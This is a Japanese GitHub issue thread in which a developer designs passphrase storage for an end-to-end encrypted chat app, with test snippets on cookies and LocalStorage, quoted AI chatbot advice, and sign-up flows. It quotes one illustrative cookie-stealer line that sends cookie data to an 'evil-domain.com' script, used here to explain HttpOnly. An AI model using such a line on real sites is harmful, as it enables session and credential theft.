Open toshirot opened 8 months ago
TwilioやSMSLinkなどのSMSを使うと費用が発生するので無料提供は無理
ローカルサルトデータの保存先候補とセキュリティなど
Web Storage API https://developer.mozilla.org/ja/docs/Web/API/Web_Storage_API https://developer.mozilla.org/ja/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API Cookie https://developer.mozilla.org/ja/docs/Web/HTTP/Cookies https://developer.mozilla.org/ja/docs/Web/API/Document/cookie IndexedDB https://developer.mozilla.org/ja/docs/Web/API/IndexedDB_API/Using_IndexedDB 同一オリジンポリシー https://developer.mozilla.org/ja/docs/Web/Security/Same-origin_policy
今回は、エンドツーエンドで暗号化し途中の経路もサーバー管理側も解読できなくするために、
別ドメインからの攻撃だけではなく、オリジンサーバー側からもパスフレーズを隠蔽したい。
できるのか?cookieの暗号化?うーん。パスフレーズはどこに持つ?ClientOnly属性が欲しい。。使い捨ての自動ソルトをクライアント側で生成して保存するとかは?←どうやって毎回相手に伝えるの?<古いメッセージを復号できなくなる
同一オリジンの制約をつけて、かつ、オリジンからも読めないパスフレーズの保存方法を考えてみたい。
cookieはサーバー側から読み出せる(まぁそういう仕様) cookieはHTTPヘッダでサーバー側へ公開されるから、管理者が悪党ならおしまい。
import { Elysia } from 'elysia';
import { html } from '@elysiajs/html'
// ポート
const PORT = 9016;
// パスフレーズ
const Passphrase = "thisismysalt";
const app = new Elysia()
.use(html())
.get('/', ({ cookie: { pass } }) => {
// 初回はサーバーからはcookieを読み出せないが
// クライアントがcookieをセットした後、2度めのアクセス以降は
// サーバーから読みだせる
console.log(pass.value)
return `<!DOCTYPE html>
<html lang='ja'>
12345<script>document.cookie='pass=${Passphrase};'</script>;
</html> `
})
.listen(PORT)
cookieはHTTPヘッダでサーバー側へ公開されるけど、LocalStorageをサーバー側から勝手に取得することは可能だろうか?
LocalStorageも(もし、set時にtextが露出していると?)サーバー側から読み出せる LocalStorageにはHTTPOnly属性は無いが、必ずサーバーへ渡すという事は無い。
import { Elysia } from 'elysia';
import { describe, expect, it } from 'bun:test'
import { html } from '@elysiajs/html'
const client = require('cheerio-httpcli');
// ポート
const PORT = 9016;
const URL = `http://74.226.208.203:${PORT}/`;
// パスワード
const Passphrase = "thisismysalt";
const app = new Elysia()
.use(html())
.get('/', () => {
return `<!DOCTYPE html>
<html lang='ja'>
67890<script>localStorage.setItem("pass", "${Passphrase}");</script>;
</html> `
})
.listen(PORT)
// サーバー側からscript要素を取得する
client.fetch(URL, (err, $, res, body) => {
console.log($('script').text())
//set時にtextが露出していると読み出せる localStorage.setItem("pass", "thisismysalt");
})
input type=password に置いとくだけのものはサーバー側から読み出せる?<昔JSで読めない時代があった気がしたのだけど今試したらJSで読めた。でもサーバーからも読める? 次に確かめたいのは、input type=password などから LocalStorageに入れて、それをサーバーから取れるのか?という検証
input type=password は下記方法では入力値をサーバーからは読めない。
import { Elysia } from 'elysia';
import { describe, expect, it } from 'bun:test'
import { html } from '@elysiajs/html'
const client = require('cheerio-httpcli');
// ポート
const PORT = 9016;
const URL = `http://74.226.208.203:${PORT}/`;
const app = new Elysia()
.use(html())
.get('/', () => {
return `<!DOCTYPE html>
<html lang='ja'>
<div>
<label for="pass">pass:</label>
<input type="password" id="pass" name="pass" value="123">
<button onclick="localStorage.setItem('pass', pass.value);">passセットする</button>
</div>
</html> `
})
.listen(PORT)
setTimeout(async () => {
client.fetch(URL, (err, $, res, body) => {
console.log('pass box val: ', $('#pass').val())
//書き換えたpassのvalは読み出せない。pass box val: 123
})
}, 15000);
ただし、サーバー側でLocalstorageを読み取れなくても、何しろセイムオリジンだからなんでもできる。jsを挿入して送信されたら終わり。現在のWebセキュリティは管理者性善説に立っているから、悪意のスクリプト挿入などやり放題。 ファイルハッシュを公開しとくとか?
https://developer.mozilla.org/ja/docs/Web/HTML/Element/input/password
因みに、下記の人はXSS の危険があるからローカルストレージは駄目だと言ってるのだろうか?それならXSSのリスクが無ければ良いのか?
ローカルストレージの使用をやめてください https://www.rdegges.com/2018/please-stop-using-local-storage/
https://developer.mozilla.org/ja/docs/Web/Security/Securing_your_site
https://developer.mozilla.org/ja/docs/Web/Security/Same-origin_policy
https://developer.mozilla.org/ja/docs/Web/Security/Subresource_Integrity
https://developer.mozilla.org/ja/docs/Web/Security/Types_of_attacks
同一オリジンポリシーやCORS関連で、例えば、 クロスオリジンの画像とかそのまま貼るとそれに埋め込んだスクリプトからdocument.cookieなどが読めるか読めないか検証しておきたい。昔は読めた。
Cookieとセキュリティ https://humanwhocodes.com/blog/2009/05/12/cookies-and-security/
e.g.
(new Image()).src = "http://www.evil-domain.com/cookiestealer.php?cookie=" + cookie.domain;
参照 https://developer.mozilla.org/ja/docs/Web/API/Document/cookie
HttpOnly 属性
HTTPOnly クッキー属性は、 JavaScript からのクッキー値へのアクセスを防止することで、この攻撃を軽減することに役立ちます。より詳細情報は [Cookies and Security](https://www.nczonline.net/blog/2009/05/12/cookies-and-security/) を見てください。
Secure属性は、現在のテスト環境がHTTPSではないので使えない。因みに、Chat側で暗号化する場合HTTPSは必要だろうか?
接頭辞 __Host- https://developer.mozilla.org/ja/docs/Web/HTTP/Cookies#__host-
Cookie 名にこの接頭辞がついている場合、 [Set-Cookie](https://developer.mozilla.org/ja/docs/Web/HTTP/Headers/Set-Cookie) ヘッダーが受け入れられるのは Secure 属性で指定されており、安全なオリジンから送信されており、 Domain 属性を含んでおらず、 Path 属性が / に設定されている場合のみです。この場合、これらの Cookie は「ドメインにロックされている」と見なすことができます。
https://github.com/toshirot/mychat/blob/dev/test/crypto/encrypt-decrypt.test.ts
test/crypto/encrypt-decrypt.test.ts: ? AESによる暗号化と復号化 > AESで暗号化したものを復号化したら同じになる [4.90ms]
https://github.com/toshirot/mychat/blob/dev/test/localstorage/setLS-getLS.test.ts ※ただしこれは単なる実装テストで、あらかじめ指定した値を読み書きしている。 ゆえに、クライアント側のユーザー入力をサーバー側が取得できるというものではない。
test/localstorage/setLS-getLS.test.ts: ? ブラウザDOM/ LocalStorage > LocalStorageにセットしてからデータを取り出す [0.11ms] ? ブラウザDOM/ LocalStorage > input要素からLocalStorageにセットしてデータを取り出す [1.85ms]
ChatGPTにアドバイスしてもらった。そうか、見直してみるかな。
--text-- ChatGPT 提案された手順にはいくつかのセキュリティ上の問題や改善点があります。以下にその概要を示します:
SMSによる認証コードの利用: SMSはセキュリティ上の問題があります。携帯電話のSIMスワップ攻撃やSMSインターセプトといった攻撃に対して脆弱です。よりセキュアな方法としては、TOTP(Time-based One-Time Password)やアプリによる認証が推奨されます。
ソルトの管理: ソルトをローカルに保存するのは理論的にはセキュアですが、ユーザーがソルトを取り扱う必要があるという点で使い勝手が低下します。また、ソルトを直接ユーザー間で共有することもセキュリティリスクです。代わりに、公開鍵暗号方式を使用して相手との共有キーを確立する方法が考えられます。
UIDをローカルに保存する期間: UIDを保存する期間はセッションの有効期限内に制限するべきです。これにより、長期間にわたってUIDが漏洩するリスクが軽減されます。
チャットの暗号化: チャットのエンドツーエンドの暗号化について、適切なプロトコルやアルゴリズムを使用することが重要です。代表的な方法としては、SignalプロトコルやOff-the-Record Messaging(OTR)プロトコルを利用することが挙げられます。
認証方式の検討: UIDを使用した認証はセキュリティリスクを孕んでいます。代わりに、公開鍵暗号方式やゼロ知識証明を検討することが望ましいです。
これらの改善点を考慮して、セキュリティに関する専門家と協力してシステムの設計を行うことが重要です。
TOTP(Time-based One-Time Password) は私自身も Authenticator などに多くのサイトを登録して使ってるけど、初めての人にとってはハードルが高い気もする。簡単な導入方法はあるかな?
ああ、QRコードで登録なら簡単かな?
これくらいかな?違う?
この Authenticator 認証の件は、あとで別のスレッドでやろう https://github.com/toshirot/mychat/issues/9
エンドツーエンドの暗号化、例えばSignalプロトコルやOff-the-Record Messaging(OTR)プロトコルなどについてはここで検討します https://github.com/toshirot/mychat/issues/10
チャットの暗号化: チャットのエンドツーエンドの暗号化について、適切なプロトコルやアルゴリズムを使用することが重要です。代表的な方法としては、SignalプロトコルやOff-the-Record Messaging(OTR)プロトコルを利用することが挙げられます。
ここまで複雑なプロトコルが必須なのだろうか。 パスフレーズや鍵などを安全に管理できれば良いとはならないの?<問題は「安全に管理」の方法
公開鍵で考えてみる
1: AliceがBobやCarolに送るメッセージは、Aliceの画面には暗号化前のtextを表示できる --2人の場合はok 2: BobからAiceに送る、Aiceの公開鍵で暗号化したメッセージは、Aiceの秘密鍵で復号してAliceの画面に表示できる 3: AliceからBobに送る、Bobの公開鍵で暗号化したメッセージは、Bobの秘密鍵で復号してBobの画面に表示できる --3人の場合 4: CarolからAiceに送る、Aiceの公開鍵で暗号化したメッセージは、Aiceの秘密鍵で復号してAliceの画面に表示できる 5: Aiceの秘密鍵を知らないCarolは、2(BobからAiceに送る、Aiceの公開鍵で暗号化したメッセージ)を復号できない 6: 3人のメッセージを全てCarolの画面に表示するには、BobとAliceは別途Carol用の暗号を送らないといけない 7: つまり、参加者全員が参加者全員用の暗号化をしなければならない
man-2-manなら使えそうだが、3人以上だと暗号化の負荷が高くなりそう
現状は共通鍵AESを考えてる。シンプルだよなぁ
const decrypt_js = (str, salt) => CryptoJS.AES.decrypt(str, salt).toString(CryptoJS.enc.Utf8)
const encrypt_js = (str, salt) => CryptoJS.AES.encrypt(CryptoJS.enc.Utf8.parse(str), salt).toString()
先日、ChatGPTにアドバイスされた、Google AuthenticatorなどのTOTPやSignalプロトコルなどを検討したけど、結局のところ
end-to-end で暗号化するには、口頭含めてchatサーバーとは別の方法で秘密のフレーズを共有さえできれば良いように思える。 ログイン認証もセッションもいらない。
end-to-endで暗号化するなら、AuthenticatorもSMSもむしろ、脆弱性につながると思う。
違うだろうか?
ただし、サーバー側でLocalstorageを読み取れなくても、何しろセイムオリジンだからなんでもできる。jsを挿入して送信されたら終わり。現在のWebセキュリティは管理者性善説に立っているから、悪意のスクリプト挿入などやり放題。 ファイルハッシュを公開しとくとか?
ファイルの改ざん検知テストやってみた。
https://github.com/toshirot/mychat/issues/2#issuecomment-2029022601 を受けて、手順を以下のように変更する
手順
アリス:ブラウザで mychat へアクセスする アリス:<設定/ログイン を選ぶ> システム:「相手と共有する秘密のフレーズを入力してください」 アリス:秘密のフレーズを入力する アリス:「デバイスだけに登録」ボタンを押す(※サーバーには送りません) ブラウザ:LocalStorageへフレーズを保存する ( ※サーバーからはcookie と違い読めない 検証: https://github.com/toshirot/mychat/issues/2#issuecomment-1873150082 ) システム:rooms 、users 、room_users テーブルを生成・追記する https://github.com/toshirot/mychat/issues/12 ブラウザ:room_id で生成した url をアリスへ伝える アリス:urlをクリックしてルームへ入る アリス:直接相手へ口頭あるいはemailなど当該chatとは別の手段で秘密のフレーズとroom_idを伝える
ボブ: ブラウザで mychat へアクセスする ボブ:room_idと秘密のフレーズを入力 ブラウザ:LocalStorageへフレーズを保存する (検証: https://github.com/toshirot/mychat/issues/2#issuecomment-1873150082) ブラウザ:room_id で生成した url ボブへ伝える ボブ:urlをクリックしてルームへ入る システム:rooms 、users 、room_users テーブルを生成・追記する https://github.com/toshirot/mychat/issues/12
・uid で認証しなければ chat url には入れない ・認証すれば、入ってチャットできる。 ・秘密のフレーズが違えば読めない ・貴方と相手の「秘密のフレーズは必ずチャット以外の手段で共有する」
・チャットはエンドツーエンドで暗号化され途中はシステム・サーバー側では読めない ・暗号化の秘密のフレーズは、ローカルストレージに保存する ( ※サーバーからはcookie と違い読めない 検証: https://github.com/toshirot/mychat/issues/2#issuecomment-1873150082 )
シンプルになった^^
追加したい機能のコンセプト:携帯電話を登録した相手とのみ通信できるチャット。
エンドツーエンドで暗号化し途中の経路もサーバー管理側も解読できない。 LINEなどで発生したような管理者側での情報漏洩リスクは極めて低い。 仮に海外サーバーなどを経由しても解読できない。 ただしソルトの保存はローカルに行う。ゆえにテロ組織等への悪用の際は携帯を押収すれば解読も可能。 悪さはしにくいが送受信情報・信書の秘密は秘匿され守られる。
手順 ※ 2024/04/03 手順を変更→ https://github.com/toshirot/mychat/issues/2#issuecomment-2033208084
アリス:ブラウザで Chat へアクセスする アリス:<設定/ログイン を選ぶ>-yes↓encry-mode -no→def-mode システム:「貴方の携帯の電話番号を入力してください」 アリス:自分の電話番号を入力する アリス:送信する システム:SMSでアリスの携帯へnumberを送信する アリス:numberがアリスの携帯へ届く アリス:ブラウザでnumberを入力する アリス:送信する システム:「ログイン認証完了」 システム:アカウントを get/set する id uid telハッシュ create_at システム:uidをローカルのcookieなどへ保存する(期間は?) システム:「チャットしたい相手の携帯番号を入力してください」 アリス:ブラウザで相手の電話番号を入力する アリス:ブラウザでソルトを入力登録する。ただし、ソルトはサーバーへは送らずローカルのcookieなどへ記録する アリス:直接相手の電話番号へSMSまたは口頭あるいはemailなどでソルトを送る → 2factor これによりシステムは暗号を解読できなくなる システム:SMSで相手の携帯へ url を送信する
ボブ:携帯SMSへ url と簡単なメッセージが届く ボブ: url へアクセスする ボブ:ブラウザでソルトを入力登録する。ただし、ソルトはサーバーへは送らずローカルのcookieなどへ記録する システム:SMSでボブの携帯へnumberを送信する ボブ:numberがボブの携帯へ届く ボブ:ブラウザでnumberを入力する システム:「認証完了」 システム:アカウントを get/set する id uid telハッシュ create_at システム:uidをローカルのcookieなどへ保存する
システム:ボブの携帯へ chat url を知らせる システム:アリスの携帯へボブが同意したことと chat url を知らせる
・uid で認証しなければ chat url には入れない ・認証すれば、入ってチャットできる。
・チャットはエンドツーエンドで暗号化され途中はシステム側でも読めない ・暗号化のsaltは、ローカルに保存する ・貴方と相手のsaltはチャット以外の手段で共有する